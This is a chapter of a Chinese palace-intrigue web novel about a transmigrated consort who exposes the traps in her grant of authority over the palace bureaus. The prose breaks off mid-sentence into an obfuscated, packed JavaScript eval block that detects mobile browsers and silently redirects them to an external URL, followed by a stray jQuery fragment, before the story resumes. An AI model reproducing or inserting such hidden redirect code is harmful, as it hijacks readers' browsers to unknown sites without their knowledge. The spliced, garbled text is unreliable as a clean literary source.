翌日,天色阴霾,凤栖宫的天更是阴云密布。
贵妃早膳也不用便把自己关在了书房,雪棠只好带着燕窝羹前去劝膳,人刚到书房的拐角处便被鲁瑾拦了下来。
“见过鲁公公。”雪棠双手交叠在腹,屈膝躬身行礼。她虽是奉侍女官,但初来乍到,仍是毕恭毕敬地向掌事太监全礼以待。
只见鲁瑾递个眼色,雪棠身后跟着的两名宫女、两名内侍便不约而同地散开退下。
雪棠道:“公公可是有话与臣婢说?”
鲁瑾笑道:“雪棠小娘子一早便去忙活,老奴也不曾顾得上和你说几句,今日是你头一回正经当差,不免要唠叨几句。”
雪棠又行了一礼,“哪里的话,公公的字字教导,臣婢无敢不遵。”
鲁瑾低头看了眼她放在地上的食盒,微微蹙眉:“这其一,贵妃殿下金尊玉贵,触地之物便不好再呈给她了。”
雪棠飞快把食盒拎起,“臣婢失职……”
鲁瑾掀起食盒揭开瓷盅,又道:“这珍珠燕窝羹固然是好,但娘娘伤了筋骨,应将燕窝煨入牛骨髓汤底,再撒上焙干的虾皮碎,可有益于养筋续骨。”
雪棠低头道:“臣婢记下了。”
鲁瑾笑眯眯道:“不是老奴苛刻,贵妃娘娘这肋骨伤的不是骨头,是陛下的心尖肉,去小厨房重炖吧。”他用勺子搅了搅燕窝羹,并非如兰宜炖煮的那般晶亮如初,因此笑意更深,“这火候也仔细着,老奴陪你候着,横竖……黄泉路上不差这一时半刻的时辰,小娘子说呢?”
雪棠眼眸一沉,倏地抬头,脸上尽是寒意,“公公此言,叫臣婢想起此前麒麟殿陛下亲训。你说这燕窝羹欠火候,不如前去麒麟殿同候圣裁?”
他鲁瑾的主君是陛下,难道她不是?
鲁瑾依旧笑眯眯,往前一步附在她耳边:“咱家叫你的名儿入了内刑司卒亡档册,陛下也不会过问半句。”
雪棠心底渗出寒意,面上并不受他的威胁,“谢公公指教,铭记在心。”
鲁瑾拍拍她的胳膊:“服侍娘娘,烦劳小娘子记住六字:尽瘁、砥节、陨首。若不能做到,趁早离去。”
雪棠冷道:“公公从何看出臣婢不能做到?”
鲁瑾回头看了眼书房的门,“非你之过,只是这位娘娘琉璃身、薄冰骨,她若被碰碎了,麒麟殿下会葬多少白骨,你可明白?”
雪棠也望向那房门,嘴边勾起一抹不明意味的笑痕:“公公是这般看这位娘娘的?”她不再多言,拎起食盒便去了小厨房。
鲁瑾笑着摇了摇头,不是他要故意吓唬人家小姑娘,只是在凤栖宫当差,容不得一丝大意。一个兰宜已经够了。
雪棠又回头看了眼那老太监的背影。太监,到底也是男子,到底不知……
琉璃身,通明剔透,照人心于微著。薄冰骨,寒刃藏锋,破千钧于无形。
能令天子封禁寿安宫之人,纵然她钝不而觉、不知己身之重,本已是一柄龙吟斩。
※
几乎整夜无眠,奚汐带着两个乌青的黑眼圈,在书桌前对着那张密密麻麻的《保命计划》已呆坐了一刻钟。
什么不和沈嫣然争宠,什么让他厌恶……她这些天都在做什么啊!
她使劲儿捶着桌面,忍了又忍才没撕了这张纸。
她又想起昨晚,自己像只发情的猫,终是忍不住喊叫出来:“啊——”
“娘娘!娘娘怎么了?!”雪棠在外拍着门板,惊慌地喊着。
“没……本宫没事。”
雪棠已二十有二,与十六七岁的兰宜相比,举止稳重有加却也冷淡严肃不少,更是强势得很。贵妃不用早膳,她便捧着汤盅一路跟随,直至贵妃吃下肚才肯罢休。
不吃点东西长点力气,如何应付寿安宫。
或许是楚夫人那句‘无协理六宫之实’的缘故,翌日太后便让张德带着内省六局的人大张旗鼓地进了凤栖宫,准备将楚夫人索要来的‘实权’按照太后的吩咐授予贵妃。
张德说了些冠冕堂皇的官话作为开场白,再逐一介绍六局的各个女官头衔和职务,过后便切入正题。
“大娘娘教诲:协理六宫并非把玩掌珠之物,这六局如同金丝笼里的机关锁,需得环环相扣。臣婢这就为殿下细细分说这六局之责,往后这六宫二十四司的琐碎事务,可都得仰仗殿下的凤印了。”张德说着便呈上一本金册交给了一旁的鲁瑾。
二十四个部门?奚汐听得皱起苦瓜脸。她知道他的话阴阳失调,但哪里不对呢?一通逐字分析后找到了‘字虫’,随即不客气地说道:“张公公,本宫仰仗太后慈喻册封为妃,而非册立为后,只受金印,而非金宝,何来凤印一说?公公言语该谨慎些才是。”
她以前是不习惯这些咬文嚼字的话,也不想和这些人‘交流’惹是生非。可习惯之后,不代表她连这陷阱都发现不了。她不聪明,可也没那么笨啊。
是陷阱,但聪明人未必便能察觉。聪明人听到六宫管辖之权,早已乐得忘乎所以,谁还会像她一样去捉虫。身为妃嫔喜得协理之权是想进步,可她不想,她再进步可就小命难料。
鲁瑾刚要纠正张德的错处,没想到贵妃先发了话。张公公大概不知,贵妃娘娘今日正是邪火难发,他可不正好撞上来了。
“臣婢这嘴,该死该死。殿下莫要怪责,臣婢全是无心之失。”张德假意扇了几下嘴,赶紧转移话头,指着一名女官说道:“先说这尚宫局,乃六宫中枢,最是要紧,掌着内宫文牒印信,各宫宫女调派升迁的档册也全都在司记房锁着。殿下若想查哪个蹄子手脚不干净,查人拿赃尽管使唤,只是别忘了……司记房的钥匙,每日得交回寿安宫验看。”
奚汐虽然不太懂司记房是个什么衙门,但听这意思太后给她的授权显然不充分啊。何止不充分,这等于没授权。这就好比,保险柜说是交给她,可她的权利就只是看一眼那柜子里的东西,看完了还要把钥匙交回去,那东西丢了算谁的?
奚汐皱着脸说:“张公公,那文牒印信若是丢了,是本宫之过,还是寿安宫掌钥匙之人的过错?究竟是何人承担看守司记房的主责?让本宫管着尚宫局,主责便是本宫,可这……”很明显权责不对等嘛。
张德当即就像泥巴糊了嘴,连口也张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901725|176669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不开。别说他,连鲁瑾都惊愕不已。贵妃今日是怎么了?怎么忽然……长了这么些心眼子。
并非贵妃长了心眼子,相反,笨蛋贵妃并没有意识到人家又在给她挖坑,只不过是专业对口了。
奚汐以前所在的部门专干这种事,每年年初查检集团对各家公司授权的合理性,她都要熬几个大夜,想起都快吐了。
被贵妃一双美目瞪着,张德结巴道:“此事……此事容臣婢回禀大娘娘。”
奚汐点头道:“尚宫局乃六宫中枢,身担重责,本宫年轻不通晓事务,烦请张公公回禀太后,可否还由太后掌管这中枢?”
这种糟心的事可别给她啊,她连合同原件都丢过的人,来日把太后的金宝弄丢了,她可赔不起!
她是诚心诚意地想推脱,张德听着可不是这么个意思,尖着嗓子说道:“殿下折煞臣婢了,臣婢岂敢回禀。大娘娘昨日已当着楚夫人的面上亲口说了,这协理六宫的权柄非殿下莫属,殿下可不能辜负大娘娘的信任。”
奚汐叹了口气,“公公继续。”继续看你表演。
张德又堆起笑脸,指着尚寝局的人道:“这尚寝局最是刁钻,从龙床帷帐到御花园的草木,连更漏时辰都归她们管。不过最要紧的是记载彤史的承恩司,每月那承幸簿,殿下切勿经他人之手,非得亲自过眼才是。天家血脉是比天大的事,绝不容混肴。大娘娘还说了,陛下膝下犹空,倘若哪日宫外也有‘娘娘’沐浴天恩,也得记录在册才行。”
奚汐抱起双手,好生把他看着。她知道了,这太监就是来恶心她的。她这贵妃都还没和皇帝圆房,却让她来审核皇帝的‘颠龙倒凤录’。不过你错了,我不恶心,你继续说。
见贵妃颔首而笑,张德又走向另一局的女官,“尚仪局管着典礼仪程、命妇朝拜,旁的倒没什么,只是司乐坊那些风雅之事多了些,殿下若发现有腌臜之人行秽乱内廷之事,尽管秉公处置便是,大娘娘不喜血腥,便要让殿下费心多担待。”
奚汐摁住额头叹气。尚仪局,后宫的娱乐圈。兰宜在时,听她说那会儿有个琵琶乐女在宴席上给哪个王爷塞了情笺,第二日便从井里捞了起来。为此,承办那次宴会的太妃还被降为太嫔。对,就是此前说女官投井被降级的那位,这是另一个版本的说法。
反正不管哪个版本,历来谁都不想去管尚仪局,油水少又费心费力。当然,拉皮条的除外。
张德又道:“太后太娘娘虽不喜血腥,更不喜六宫坏了清正之气,殿下切记。大娘娘说该打死的便打死,不可有丝毫纵放,谁若纵放,同罪。”
奚汐无语,这连装都不装,直接威胁上了?
“鲁大,帮本宫传端木太医,肋骨又疼了。嘶……好痛。”
鲁瑾冲宫人们喊道:“还愣着干什么,都是聋子吗!快给娘娘传太医啊!”
她是不灵光,换着别的事可能就傻傻的被坑了。可她上班那两年,就因为她那部门经理爱揽事,害她被人甩了多少烂锅。不在其位而谋其职,有责无权等于老牛拉磨,蒙眼转圈白挨鞭。如今当了贵妃,她还要继续当背锅侠?
想的美!